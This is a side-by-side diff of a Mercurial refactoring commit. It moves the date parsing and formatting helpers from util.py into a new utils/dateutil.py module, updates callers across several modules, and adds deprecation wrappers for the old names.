propertycache = util.propertycache propertycache = util.propertycache
return True if a new marker have been added, False if the markers return True if a new marker have been added, False if the markers
already existed (no op). already existed (no op).
""" """
if metadata is None: if metadata is None:
metadata = {} metadata = {}
if date is None: if date is None:
if 'date' in metadata: if 'date' in metadata:
# as a courtesy for out-of-tree extensions # as a courtesy for out-of-tree extensions
date = util.parsedate(metadata.pop('date')) date = dateutil.parsedate(metadata.pop('date'))
elif ui is not None: elif ui is not None:
date = ui.configdate('devel', 'default-date') date = ui.configdate('devel', 'default-date')
if date is None: if date is None:
date = util.makedate() date = dateutil.makedate()
else: else:
date = util.makedate() date = dateutil.makedate()
if len(prec) != 20: if len(prec) != 20:
raise ValueError(prec) raise ValueError(prec)
for succ in succs: for succ in succs:
if len(succ) != 20: if len(succ) != 20:
raise ValueError(succ) raise ValueError(succ)
if prec in succs: if prec in succs:
raise ValueError(_('in-marker cycle with %s') % node.hex(prec)) raise ValueError(_('in-marker cycle with %s') % node.hex(prec))

mercurial/obsutil.py

import re import re
from .i18n import _ from .i18n import _
from . import ( from . import (
node as nodemod, node as nodemod,
phases, phases,
util, util,
) )
from .utils import dateutil
class marker(object): class marker(object):
"""Wrap obsolete marker raw data""" """Wrap obsolete marker raw data"""
def __init__(self, repo, data): def __init__(self, repo, data):
# the repo argument will be used to create changectx in later version # the repo argument will be used to create changectx in later version
self._repo = repo self._repo = repo
self._data = data self._data = data
# Date # Date
dates = markersdates(markers) dates = markersdates(markers)
if dates and verbose: if dates and verbose:
min_date = min(dates) min_date = min(dates)
max_date = max(dates) max_date = max(dates)
if min_date == max_date: if min_date == max_date:
fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2') fmtmin_date = dateutil.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
line.append(" (at %s)" % fmtmin_date) line.append(" (at %s)" % fmtmin_date)
else: else:
fmtmin_date = util.datestr(min_date, '%Y-%m-%d %H:%M %1%2') fmtmin_date = dateutil.datestr(min_date, '%Y-%m-%d %H:%M %1%2')
fmtmax_date = util.datestr(max_date, '%Y-%m-%d %H:%M %1%2') fmtmax_date = dateutil.datestr(max_date, '%Y-%m-%d %H:%M %1%2')
line.append(" (between %s and %s)" % (fmtmin_date, fmtmax_date)) line.append(" (between %s and %s)" % (fmtmin_date, fmtmax_date))
return "".join(line) return "".join(line)
filteredmsgtable = { filteredmsgtable = {
"pruned": _("hidden revision '%s' is pruned"), "pruned": _("hidden revision '%s' is pruned"),
"diverged": _("hidden revision '%s' has diverged"), "diverged": _("hidden revision '%s' has diverged"),

mercurial/patch.py

pathutil, pathutil,
policy, policy,
pycompat, pycompat,
scmutil, scmutil,
similar, similar,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import dateutil
diffhelpers = policy.importmod(r'diffhelpers') diffhelpers = policy.importmod(r'diffhelpers')
stringio = util.stringio stringio = util.stringio
gitre = re.compile(br'diff --git a/(.*) b/(.*)') gitre = re.compile(br'diff --git a/(.*) b/(.*)')
tabsplitter = re.compile(br'(\t+|[^\t]+)') tabsplitter = re.compile(br'(\t+|[^\t]+)')
_nonwordre = re.compile(br'([^a-zA-Z0-9_\x80-\xff])') _nonwordre = re.compile(br'([^a-zA-Z0-9_\x80-\xff])')
def diffline(f, revs): def diffline(f, revs):
revinfo = ' '.join(["-r %s" % rev for rev in revs]) revinfo = ' '.join(["-r %s" % rev for rev in revs])
return 'diff %s %s' % (revinfo, f) return 'diff %s %s' % (revinfo, f)
def isempty(fctx): def isempty(fctx):
return fctx is None or fctx.size() == 0 return fctx is None or fctx.size() == 0
date1 = util.datestr(ctx1.date()) date1 = dateutil.datestr(ctx1.date())
date2 = util.datestr(ctx2.date()) date2 = dateutil.datestr(ctx2.date())
gitmode = {'l': '120000', 'x': '100755', '': '100644'} gitmode = {'l': '120000', 'x': '100755', '': '100644'}
if relroot != '' and (repo.ui.configbool('devel', 'all-warnings') if relroot != '' and (repo.ui.configbool('devel', 'all-warnings')
or repo.ui.configbool('devel', 'check-relroot')): or repo.ui.configbool('devel', 'check-relroot')):
for f in modified + added + removed + list(copy) + list(copy.values()): for f in modified + added + removed + list(copy) + list(copy.values()):
if f is not None and not f.startswith(relroot): if f is not None and not f.startswith(relroot):
raise AssertionError( raise AssertionError(

mercurial/revset.py

pycompat, pycompat,
registrar, registrar,
repoview, repoview,
revsetlang, revsetlang,
scmutil, scmutil,
smartset, smartset,
util, util,
) )
from .utils import dateutil
# helpers for processing parsed tree # helpers for processing parsed tree
getsymbol = revsetlang.getsymbol getsymbol = revsetlang.getsymbol
getstring = revsetlang.getstring getstring = revsetlang.getstring
getinteger = revsetlang.getinteger getinteger = revsetlang.getinteger
getboolean = revsetlang.getboolean getboolean = revsetlang.getboolean
getlist = revsetlang.getlist getlist = revsetlang.getlist
getrange = revsetlang.getrange getrange = revsetlang.getrange
condrepr=('<converted %r>', rev)) condrepr=('<converted %r>', rev))
@predicate('date(interval)', safe=True, weight=10) @predicate('date(interval)', safe=True, weight=10)
def date(repo, subset, x): def date(repo, subset, x):
"""Changesets within the interval, see :hg:`help dates`. """Changesets within the interval, see :hg:`help dates`.
""" """
# i18n: "date" is a keyword # i18n: "date" is a keyword
ds = getstring(x, _("date requires a string")) ds = getstring(x, _("date requires a string"))
dm = util.matchdate(ds) dm = dateutil.matchdate(ds)
return subset.filter(lambda x: dm(repo[x].date()[0]), return subset.filter(lambda x: dm(repo[x].date()[0]),
condrepr=('<date %r>', ds)) condrepr=('<date %r>', ds))
@predicate('desc(string)', safe=True, weight=10) @predicate('desc(string)', safe=True, weight=10)
def desc(repo, subset, x): def desc(repo, subset, x):
"""Search commit message for string. The match is case-insensitive. """Search commit message for string. The match is case-insensitive.
Pattern matching is supported for `string`. See Pattern matching is supported for `string`. See

mercurial/subrepo.py

node, node,
pathutil, pathutil,
phases, phases,
pycompat, pycompat,
scmutil, scmutil,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import dateutil
hg = None hg = None
propertycache = util.propertycache propertycache = util.propertycache
nullstate = ('', '', 'empty') nullstate = ('', '', 'empty')
def _expandedabspath(path): def _expandedabspath(path):
''' '''
raise error.Abort(_("subrepo %s is missing") % self._relpath) raise error.Abort(_("subrepo %s is missing") % self._relpath)
cmd = ['commit', '-a', '-m', text] cmd = ['commit', '-a', '-m', text]
env = encoding.environ.copy() env = encoding.environ.copy()
if user: if user:
cmd += ['--author', user] cmd += ['--author', user]
if date: if date:
# git's date parser silently ignores when seconds < 1e9 # git's date parser silently ignores when seconds < 1e9
# convert to ISO8601 # convert to ISO8601
env['GIT_AUTHOR_DATE'] = util.datestr(date, env['GIT_AUTHOR_DATE'] = dateutil.datestr(date,
'%Y-%m-%dT%H:%M:%S %1%2') '%Y-%m-%dT%H:%M:%S %1%2')
self._gitcommand(cmd, env=env) self._gitcommand(cmd, env=env)
# make sure commit works otherwise HEAD might not exist under certain # make sure commit works otherwise HEAD might not exist under certain
# circumstances # circumstances
return self._gitstate() return self._gitstate()
@annotatesubrepoerror @annotatesubrepoerror
def merge(self, state): def merge(self, state):

mercurial/templatefilters.py

hbisect, hbisect,
node, node,
pycompat, pycompat,
registrar, registrar,
templatekw, templatekw,
url, url,
util, util,
) )
from .utils import dateutil
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
if pycompat.ispy3: if pycompat.ispy3:
long = int long = int
# filters are callables like: # filters are callables like:
if then > now: if then > now:
future = True future = True
delta = max(1, int(then - now)) delta = max(1, int(then - now))
if delta > agescales[0][1] * 30: if delta > agescales[0][1] * 30:
return 'in the distant future' return 'in the distant future'
else: else:
delta = max(1, int(now - then)) delta = max(1, int(now - then))
if delta > agescales[0][1] * 2: if delta > agescales[0][1] * 2:
return util.shortdate(date) return dateutil.shortdate(date)
for t, s, a in agescales: for t, s, a in agescales:
n = delta // s n = delta // s
if n >= 2 or s == 1: if n >= 2 or s == 1:
if future: if future:
return '%s from now' % fmt(t, n, a) return '%s from now' % fmt(t, n, a)
return '%s ago' % fmt(t, n, a) return '%s ago' % fmt(t, n, a)
""" """
return "%d %d" % text return "%d %d" % text
@templatefilter('isodate') @templatefilter('isodate')
def isodate(text): def isodate(text):
"""Date. Returns the date in ISO 8601 format: "2009-08-18 13:00 """Date. Returns the date in ISO 8601 format: "2009-08-18 13:00
+0200". +0200".
""" """
return util.datestr(text, '%Y-%m-%d %H:%M %1%2') return dateutil.datestr(text, '%Y-%m-%d %H:%M %1%2')
@templatefilter('isodatesec') @templatefilter('isodatesec')
def isodatesec(text): def isodatesec(text):
"""Date. Returns the date in ISO 8601 format, including """Date. Returns the date in ISO 8601 format, including
seconds: "2009-08-18 13:00:13 +0200". See also the rfc3339date seconds: "2009-08-18 13:00:13 +0200". See also the rfc3339date
filter. filter.
""" """
return util.datestr(text, '%Y-%m-%d %H:%M:%S %1%2') return dateutil.datestr(text, '%Y-%m-%d %H:%M:%S %1%2')
def indent(text, prefix): def indent(text, prefix):
'''indent each non-empty line of text after first with prefix.''' '''indent each non-empty line of text after first with prefix.'''
lines = text.splitlines() lines = text.splitlines()
num_lines = len(lines) num_lines = len(lines)
endswithnewline = text[-1:] == '\n' endswithnewline = text[-1:] == '\n'
def indenter(): def indenter():
for i in xrange(num_lines): for i in xrange(num_lines):
""" """
return urlreq.quote(text, safe='/@').replace('/', '%252F') return urlreq.quote(text, safe='/@').replace('/', '%252F')
@templatefilter('rfc3339date') @templatefilter('rfc3339date')
def rfc3339date(text): def rfc3339date(text):
"""Date. Returns a date using the Internet date format """Date. Returns a date using the Internet date format
specified in RFC 3339: "2009-08-18T13:00:13+02:00". specified in RFC 3339: "2009-08-18T13:00:13+02:00".
""" """
return util.datestr(text, "%Y-%m-%dT%H:%M:%S%1:%2") return dateutil.datestr(text, "%Y-%m-%dT%H:%M:%S%1:%2")
@templatefilter('rfc822date') @templatefilter('rfc822date')
def rfc822date(text): def rfc822date(text):
"""Date. Returns a date using the same format used in email """Date. Returns a date using the same format used in email
headers: "Tue, 18 Aug 2009 13:00:13 +0200". headers: "Tue, 18 Aug 2009 13:00:13 +0200".
""" """
return util.datestr(text, "%a, %d %b %Y %H:%M:%S %1%2") return dateutil.datestr(text, "%a, %d %b %Y %H:%M:%S %1%2")
@templatefilter('short') @templatefilter('short')
def short(text): def short(text):
"""Changeset hash. Returns the short form of a changeset hash, """Changeset hash. Returns the short form of a changeset hash,
i.e. a 12 hexadecimal digit string. i.e. a 12 hexadecimal digit string.
""" """
return text[:12] return text[:12]
@templatefilter('shortbisect') @templatefilter('shortbisect')
def shortbisect(text): def shortbisect(text):
"""Any text. Treats `text` as a bisection status, and """Any text. Treats `text` as a bisection status, and
returns a single-character representing the status (G: good, B: bad, returns a single-character representing the status (G: good, B: bad,
S: skipped, U: untested, I: ignored). Returns single space if `text` S: skipped, U: untested, I: ignored). Returns single space if `text`
is not a valid bisection status. is not a valid bisection status.
""" """
return hbisect.shortlabel(text) or ' ' return hbisect.shortlabel(text) or ' '
@templatefilter('shortdate') @templatefilter('shortdate')
def shortdate(text): def shortdate(text):
"""Date. Returns a date like "2006-09-18".""" """Date. Returns a date like "2006-09-18"."""
return util.shortdate(text) return dateutil.shortdate(text)
@templatefilter('slashpath') @templatefilter('slashpath')
def slashpath(path): def slashpath(path):
"""Any text. Replaces the native path separator with slash.""" """Any text. Replaces the native path separator with slash."""
return util.pconvert(path) return util.pconvert(path)
@templatefilter('splitlines') @templatefilter('splitlines')
def splitlines(text): def splitlines(text):

mercurial/templater.py

registrar, registrar,
revset as revsetmod, revset as revsetmod,
revsetlang, revsetlang,
scmutil, scmutil,
templatefilters, templatefilters,
templatekw, templatekw,
util, util,
) )
from .utils import dateutil
# template parsing # template parsing
elements = { elements = {
# token-type: binding-strength, primary, prefix, infix, suffix # token-type: binding-strength, primary, prefix, infix, suffix
"(": (20, None, ("group", 1, ")"), ("func", 1, ")"), None), "(": (20, None, ("group", 1, ")"), ("func", 1, ")"), None),
".": (18, None, None, (".", 18), None), ".": (18, None, None, (".", 18), None),
"%": (15, None, None, ("%", 15), None), "%": (15, None, None, ("%", 15), None),
raise error.ParseError(_("date expects one or two arguments")) raise error.ParseError(_("date expects one or two arguments"))
date = evalfuncarg(context, mapping, args[0]) date = evalfuncarg(context, mapping, args[0])
fmt = None fmt = None
if len(args) == 2: if len(args) == 2:
fmt = evalstring(context, mapping, args[1]) fmt = evalstring(context, mapping, args[1])
try: try:
if fmt is None: if fmt is None:
return util.datestr(date) return dateutil.datestr(date)
else: else:
return util.datestr(date, fmt) return dateutil.datestr(date, fmt)
except (TypeError, ValueError): except (TypeError, ValueError):
# i18n: "date" is a keyword # i18n: "date" is a keyword
raise error.ParseError(_("date expects a date information")) raise error.ParseError(_("date expects a date information"))
@templatefunc('dict([[key=]value...])', argspec='*args **kwargs') @templatefunc('dict([[key=]value...])', argspec='*args **kwargs')
def dict_(context, mapping, args): def dict_(context, mapping, args):
"""Construct a dict from key-value pairs. A key may be omitted if """Construct a dict from key-value pairs. A key may be omitted if
a value expression can provide an unambiguous name.""" a value expression can provide an unambiguous name."""
"""Converts a date to the specified timezone. """Converts a date to the specified timezone.
The default is local date.""" The default is local date."""
if not (1 <= len(args) <= 2): if not (1 <= len(args) <= 2):
# i18n: "localdate" is a keyword # i18n: "localdate" is a keyword
raise error.ParseError(_("localdate expects one or two arguments")) raise error.ParseError(_("localdate expects one or two arguments"))
date = evalfuncarg(context, mapping, args[0]) date = evalfuncarg(context, mapping, args[0])
try: try:
date = util.parsedate(date) date = dateutil.parsedate(date)
except AttributeError: # not str nor date tuple except AttributeError: # not str nor date tuple
# i18n: "localdate" is a keyword # i18n: "localdate" is a keyword
raise error.ParseError(_("localdate expects a date information")) raise error.ParseError(_("localdate expects a date information"))
if len(args) >= 2: if len(args) >= 2:
tzoffset = None tzoffset = None
tz = evalfuncarg(context, mapping, args[1]) tz = evalfuncarg(context, mapping, args[1])
if isinstance(tz, str): if isinstance(tz, str):
tzoffset, remainder = util.parsetimezone(tz) tzoffset, remainder = dateutil.parsetimezone(tz)
if remainder: if remainder:
tzoffset = None tzoffset = None
if tzoffset is None: if tzoffset is None:
try: try:
tzoffset = int(tz) tzoffset = int(tz)
except (TypeError, ValueError): except (TypeError, ValueError):
# i18n: "localdate" is a keyword # i18n: "localdate" is a keyword
raise error.ParseError(_("localdate expects a timezone")) raise error.ParseError(_("localdate expects a timezone"))
else: else:
tzoffset = util.makedate()[1] tzoffset = dateutil.makedate()[1]
return (date[0], tzoffset) return (date[0], tzoffset)
@templatefunc('max(iterable)') @templatefunc('max(iterable)')
def max_(context, mapping, args, **kwargs): def max_(context, mapping, args, **kwargs):
"""Return the max of an iterable""" """Return the max of an iterable"""
if len(args) != 1: if len(args) != 1:
# i18n: "max" is a keyword # i18n: "max" is a keyword
raise error.ParseError(_("max expects one argument")) raise error.ParseError(_("max expects one argument"))

mercurial/ui.py

error, error,
formatter, formatter,
progress, progress,
pycompat, pycompat,
rcutil, rcutil,
scmutil, scmutil,
util, util,
) )
from .utils import dateutil
urlreq = util.urlreq urlreq = util.urlreq
# for use with str.translate(None, _keepalnum), to keep just alphanumerics # for use with str.translate(None, _keepalnum), to keep just alphanumerics
_keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256)) _keepalnum = ''.join(c for c in map(pycompat.bytechr, range(256))
if not c.isalnum()) if not c.isalnum())
# The config knobs that will be altered (if unset) by ui.tweakdefaults. # The config knobs that will be altered (if unset) by ui.tweakdefaults.
"""parse a configuration element as a tuple of ints """parse a configuration element as a tuple of ints
>>> u = ui(); s = b'foo' >>> u = ui(); s = b'foo'
>>> u.setconfig(s, b'date', b'0 0') >>> u.setconfig(s, b'date', b'0 0')
>>> u.configdate(s, b'date') >>> u.configdate(s, b'date')
(0, 0) (0, 0)
""" """
if self.config(section, name, default, untrusted): if self.config(section, name, default, untrusted):
return self.configwith(util.parsedate, section, name, default, return self.configwith(dateutil.parsedate, section, name, default,
'date', untrusted) 'date', untrusted)
if default is _unset: if default is _unset:
return None return None
return default return default
def hasconfig(self, section, name, untrusted=False): def hasconfig(self, section, name, untrusted=False):
return self._data(untrusted).hasitem(section, name) return self._data(untrusted).hasitem(section, name)

mercurial/util.py

  • This file was copied to mercurial/utils/dateutil.py.
This contains helper routines that are independent of the SCM core and This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core. hide platform-specific details from the core.
""" """
from __future__ import absolute_import, print_function from __future__ import absolute_import, print_function
import abc import abc
import bz2 import bz2
import calendar
import codecs import codecs
import collections import collections
import contextlib import contextlib
import datetime
import errno import errno
import gc import gc
import hashlib import hashlib
import imp import imp
import itertools import itertools
import mmap import mmap
import os import os
import platform as pyplatform import platform as pyplatform
encoding, encoding,
error, error,
i18n, i18n,
node as nodemod, node as nodemod,
policy, policy,
pycompat, pycompat,
urllibcompat, urllibcompat,
) )
from .utils import dateutil
base85 = policy.importmod(r'base85') base85 = policy.importmod(r'base85')
osutil = policy.importmod(r'osutil') osutil = policy.importmod(r'osutil')
parsers = policy.importmod(r'parsers') parsers = policy.importmod(r'parsers')
b85decode = base85.b85decode b85decode = base85.b85decode
b85encode = base85.b85encode b85encode = base85.b85encode
if n == 2: if n == 2:
return (vints[0], vints[1]) return (vints[0], vints[1])
if n == 3: if n == 3:
return (vints[0], vints[1], vints[2]) return (vints[0], vints[1], vints[2])
if n == 4: if n == 4:
return (vints[0], vints[1], vints[2], extra) return (vints[0], vints[1], vints[2], extra)
# used by parsedate
defaultdateformats = (
'%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
'%Y-%m-%dT%H:%M', # without seconds
'%Y-%m-%dT%H%M%S', # another awful but legal variant without :
'%Y-%m-%dT%H%M', # without seconds
'%Y-%m-%d %H:%M:%S', # our common legal variant
'%Y-%m-%d %H:%M', # without seconds
'%Y-%m-%d %H%M%S', # without :
'%Y-%m-%d %H%M', # without seconds
'%Y-%m-%d %I:%M:%S%p',
'%Y-%m-%d %H:%M',
'%Y-%m-%d %I:%M%p',
'%Y-%m-%d',
'%m-%d',
'%m/%d',
'%m/%d/%y',
'%m/%d/%Y',
'%a %b %d %H:%M:%S %Y',
'%a %b %d %I:%M:%S%p %Y',
'%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
'%b %d %H:%M:%S %Y',
'%b %d %I:%M:%S%p %Y',
'%b %d %H:%M:%S',
'%b %d %I:%M:%S%p',
'%b %d %H:%M',
'%b %d %I:%M%p',
'%b %d %Y',
'%b %d',
'%H:%M:%S',
'%I:%M:%S%p',
'%H:%M',
'%I:%M%p',
)
extendeddateformats = defaultdateformats + (
"%Y",
"%Y-%m",
"%b",
"%b %Y",
)
def cachefunc(func): def cachefunc(func):
'''cache the result of function calls''' '''cache the result of function calls'''
# XXX doesn't handle keywords args # XXX doesn't handle keywords args
if func.__code__.co_argcount == 0: if func.__code__.co_argcount == 0:
cache = [] cache = []
def f(): def f():
if len(cache) == 0: if len(cache) == 0:
cache.append(func()) cache.append(func())
nbytes = min(limit, size) nbytes = min(limit, size)
s = nbytes and f.read(nbytes) s = nbytes and f.read(nbytes)
if not s: if not s:
break break
if limit: if limit:
limit -= len(s) limit -= len(s)
yield s yield s
def makedate(timestamp=None):
'''Return a unix timestamp (or the current time) as a (unixtime,
offset) tuple based off the local timezone.'''
if timestamp is None:
timestamp = time.time()
if timestamp < 0:
hint = _("check your clock")
raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
delta = (datetime.datetime.utcfromtimestamp(timestamp) -
datetime.datetime.fromtimestamp(timestamp))
tz = delta.days * 86400 + delta.seconds
return timestamp, tz
def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
"""represent a (unixtime, offset) tuple as a localized time.
unixtime is seconds since the epoch, and offset is the time zone's
number of seconds away from UTC.
>>> datestr((0, 0))
'Thu Jan 01 00:00:00 1970 +0000'
>>> datestr((42, 0))
'Thu Jan 01 00:00:42 1970 +0000'
>>> datestr((-42, 0))
'Wed Dec 31 23:59:18 1969 +0000'
>>> datestr((0x7fffffff, 0))
'Tue Jan 19 03:14:07 2038 +0000'
>>> datestr((-0x80000000, 0))
'Fri Dec 13 20:45:52 1901 +0000'
"""
t, tz = date or makedate()
if "%1" in format or "%2" in format or "%z" in format:
sign = (tz > 0) and "-" or "+"
minutes = abs(tz) // 60
q, r = divmod(minutes, 60)
format = format.replace("%z", "%1%2")
format = format.replace("%1", "%c%02d" % (sign, q))
format = format.replace("%2", "%02d" % r)
d = t - tz
if d > 0x7fffffff:
d = 0x7fffffff
elif d < -0x80000000:
d = -0x80000000
# Never use time.gmtime() and datetime.datetime.fromtimestamp()
# because they use the gmtime() system call which is buggy on Windows
# for negative values.
t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
return s
def shortdate(date=None):
"""turn (timestamp, tzoff) tuple into iso 8631 date."""
return datestr(date, format='%Y-%m-%d')
def parsetimezone(s):
"""find a trailing timezone, if any, in string, and return a
(offset, remainder) pair"""
if s.endswith("GMT") or s.endswith("UTC"):
return 0, s[:-3].rstrip()
# Unix-style timezones [+-]hhmm
if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
sign = (s[-5] == "+") and 1 or -1
hours = int(s[-4:-2])
minutes = int(s[-2:])
return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
# ISO8601 trailing Z
if s.endswith("Z") and s[-2:-1].isdigit():
return 0, s[:-1]
# ISO8601-style [+-]hh:mm
if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
s[-5:-3].isdigit() and s[-2:].isdigit()):
sign = (s[-6] == "+") and 1 or -1
hours = int(s[-5:-3])
minutes = int(s[-2:])
return -sign * (hours * 60 + minutes) * 60, s[:-6]
return None, s
def strdate(string, format, defaults=None):
"""parse a localized time string and return a (unixtime, offset) tuple.
if the string cannot be parsed, ValueError is raised."""
if defaults is None:
defaults = {}
# NOTE: unixtime = localunixtime + offset
offset, date = parsetimezone(string)
# add missing elements from defaults
usenow = False # default to using biased defaults
for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
part = pycompat.bytestr(part)
found = [True for p in part if ("%"+p) in format]
if not found:
date += "@" + defaults[part][usenow]
format += "@%" + part[0]
else:
# We've found a specific time element, less specific time
# elements are relative to today
usenow = True
timetuple = time.strptime(encoding.strfromlocal(date),
encoding.strfromlocal(format))
localunixtime = int(calendar.timegm(timetuple))
if offset is None:
# local timezone
unixtime = int(time.mktime(timetuple))
offset = unixtime - localunixtime
else:
unixtime = localunixtime + offset
return unixtime, offset
def parsedate(date, formats=None, bias=None):
"""parse a localized date/time and return a (unixtime, offset) tuple.
The date may be a "unixtime offset" string or in one of the specified
formats. If the date already is a (unixtime, offset) tuple, it is returned.
>>> parsedate(b' today ') == parsedate(
... datetime.date.today().strftime('%b %d').encode('ascii'))
True
>>> parsedate(b'yesterday ') == parsedate(
... (datetime.date.today() - datetime.timedelta(days=1)
... ).strftime('%b %d').encode('ascii'))
True
>>> now, tz = makedate()
>>> strnow, strtz = parsedate(b'now')
>>> (strnow - now) < 1
True
>>> tz == strtz
True
"""
if bias is None:
bias = {}
if not date:
return 0, 0
if isinstance(date, tuple) and len(date) == 2:
return date
if not formats:
formats = defaultdateformats
date = date.strip()
if date == 'now' or date == _('now'):
return makedate()
if date == 'today' or date == _('today'):
date = datetime.date.today().strftime(r'%b %d')
date = encoding.strtolocal(date)
elif date == 'yesterday' or date == _('yesterday'):
date = (datetime.date.today() -
datetime.timedelta(days=1)).strftime(r'%b %d')
date = encoding.strtolocal(date)
try:
when, offset = map(int, date.split(' '))
except ValueError:
# fill out defaults
now = makedate()
defaults = {}
for part in ("d", "mb", "yY", "HI", "M", "S"):
# this piece is for rounding the specific end of unknowns
b = bias.get(part)
if b is None:
if part[0:1] in "HMS":
b = "00"
else:
b = "0"
# this piece is for matching the generic end to today's date
n = datestr(now, "%" + part[0:1])
defaults[part] = (b, n)
for format in formats:
try:
when, offset = strdate(date, format, defaults)
except (ValueError, OverflowError):
pass
else:
break
else:
raise error.ParseError(_('invalid date: %r') % date)
# validate explicit (probably user-specified) date and
# time zone offset. values must fit in signed 32 bits for
# current 32-bit linux runtimes. timezones go from UTC-12
# to UTC+14
if when < -0x80000000 or when > 0x7fffffff:
raise error.ParseError(_('date exceeds 32 bits: %d') % when)
if offset < -50400 or offset > 43200:
raise error.ParseError(_('impossible time zone offset: %d') % offset)
return when, offset
def matchdate(date):
"""Return a function that matches a given date match specifier
Formats include:
'{date}' match a given date to the accuracy provided
'<{date}' on or before a given date
'>{date}' on or after a given date
>>> p1 = parsedate(b"10:29:59")
>>> p2 = parsedate(b"10:30:00")
>>> p3 = parsedate(b"10:30:59")
>>> p4 = parsedate(b"10:31:00")
>>> p5 = parsedate(b"Sep 15 10:30:00 1999")
>>> f = matchdate(b"10:30")
>>> f(p1[0])
False
>>> f(p2[0])
True
>>> f(p3[0])
True
>>> f(p4[0])
False
>>> f(p5[0])
False
"""
def lower(date):
d = {'mb': "1", 'd': "1"}
return parsedate(date, extendeddateformats, d)[0]
def upper(date):
d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
for days in ("31", "30", "29"):
try:
d["d"] = days
return parsedate(date, extendeddateformats, d)[0]
except Abort:
pass
d["d"] = "28"
return parsedate(date, extendeddateformats, d)[0]
date = date.strip()
if not date:
raise Abort(_("dates cannot consist entirely of whitespace"))
elif date[0] == "<":
if not date[1:]:
raise Abort(_("invalid day spec, use '<DATE'"))
when = upper(date[1:])
return lambda x: x <= when
elif date[0] == ">":
if not date[1:]:
raise Abort(_("invalid day spec, use '>DATE'"))
when = lower(date[1:])
return lambda x: x >= when
elif date[0] == "-":
try:
days = int(date[1:])
except ValueError:
raise Abort(_("invalid day spec: %s") % date[1:])
if days < 0:
raise Abort(_("%s must be nonnegative (see 'hg help dates')")
% date[1:])
when = makedate()[0] - days * 3600 * 24
return lambda x: x >= when
elif " to " in date:
a, b = date.split(" to ")
start, stop = lower(a), upper(b)
return lambda x: x >= start and x <= stop
else:
start, stop = lower(date), upper(date)
return lambda x: x >= start and x <= stop
def stringmatcher(pattern, casesensitive=True): def stringmatcher(pattern, casesensitive=True):
""" """
accepts a string, possibly starting with 're:' or 'literal:' prefix. accepts a string, possibly starting with 're:' or 'literal:' prefix.
returns the matcher name, pattern, and matcher function. returns the matcher name, pattern, and matcher function.
missing or unknown prefixes are treated as literal matches. missing or unknown prefixes are treated as literal matches.
helper for tests: helper for tests:
>>> def test(pattern, *tests): >>> def test(pattern, *tests):
result = 0 result = 0
shift = 0 shift = 0
while True: while True:
byte = ord(readexactly(fh, 1)) byte = ord(readexactly(fh, 1))
result |= ((byte & 0x7f) << shift) result |= ((byte & 0x7f) << shift)
if not (byte & 0x80): if not (byte & 0x80):
return result return result
shift += 7 shift += 7
###
# Deprecation warnings for util.py splitting
###
def makedate(*args, **kwargs):
msg = ("'util.makedate' is deprecated, "
"use 'utils.dateutil.makedate'")
nouideprecwarn(msg, "4.6")
return dateutil.makedate(*args, **kwargs)
def datestr(*args, **kwargs):
msg = ("'util.datestr' is deprecated, "
"use 'utils.dateutil.datestr'")
nouideprecwarn(msg, "4.6")
return dateutil.datestr(*args, **kwargs)
def shortdate(*args, **kwargs):
msg = ("'util.shortdate' is deprecated, "
"use 'utils.dateutil.shortdate'")
nouideprecwarn(msg, "4.6")
return dateutil.shortdate(*args, **kwargs)
def parsetimezone(*args, **kwargs):
msg = ("'util.parsetimezone' is deprecated, "
"use 'utils.dateutil.parsetimezone'")
nouideprecwarn(msg, "4.6")
return dateutil.parsetimezone(*args, **kwargs)
def strdate(*args, **kwargs):
msg = ("'util.strdate' is deprecated, "
"use 'utils.dateutil.strdate'")
nouideprecwarn(msg, "4.6")
return dateutil.strdate(*args, **kwargs)
def parsedate(*args, **kwargs):
msg = ("'util.parsedate' is deprecated, "
"use 'utils.dateutil.parsedate'")
nouideprecwarn(msg, "4.6")
return dateutil.parsedate(*args, **kwargs)
def matchdate(*args, **kwargs):
msg = ("'util.matchdate' is deprecated, "
"use 'utils.dateutil.matchdate'")
nouideprecwarn(msg, "4.6")
return dateutil.matchdate(*args, **kwargs)

mercurial/utils/dateutil.py

  • This file was copied from mercurial/util.py.
# util.py - Mercurial utility functions and platform specific implementations # util.py - Mercurial utility functions relative to dates
# #
# Copyright 2005 K. Thananchayan <thananck@yahoo.com> # Copyright 2018 Boris Feld <boris.feld@octobus.net>
# Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
# Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
# #
# This software may be used and distributed according to the terms of the # This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version. # GNU General Public License version 2 or any later version.
"""Mercurial utility functions and platform specific implementations. """Mercurial utility functions and platform specific implementations.
This contains helper routines that are independent of the SCM core and This contains helper routines that are independent of the SCM core and
hide platform-specific details from the core. hide platform-specific details from the core.
""" """
from __future__ import absolute_import, print_function from __future__ import absolute_import, print_function
import abc
import bz2
import calendar import calendar
import codecs
import collections
import contextlib
import datetime import datetime
import errno
import gc
import hashlib
import imp
import itertools
import mmap
import os
import platform as pyplatform
import re as remod
import shutil
import signal
import socket
import stat
import string
import subprocess
import sys
import tempfile
import textwrap
import time import time
import traceback
import warnings
import zlib
from . import ( from ..i18n import _
from .. import (
encoding, encoding,
error, error,
i18n,
node as nodemod,
policy,
pycompat, pycompat,
urllibcompat,
) )
base85 = policy.importmod(r'base85')
osutil = policy.importmod(r'osutil')
parsers = policy.importmod(r'parsers')
b85decode = base85.b85decode
b85encode = base85.b85encode
cookielib = pycompat.cookielib
empty = pycompat.empty
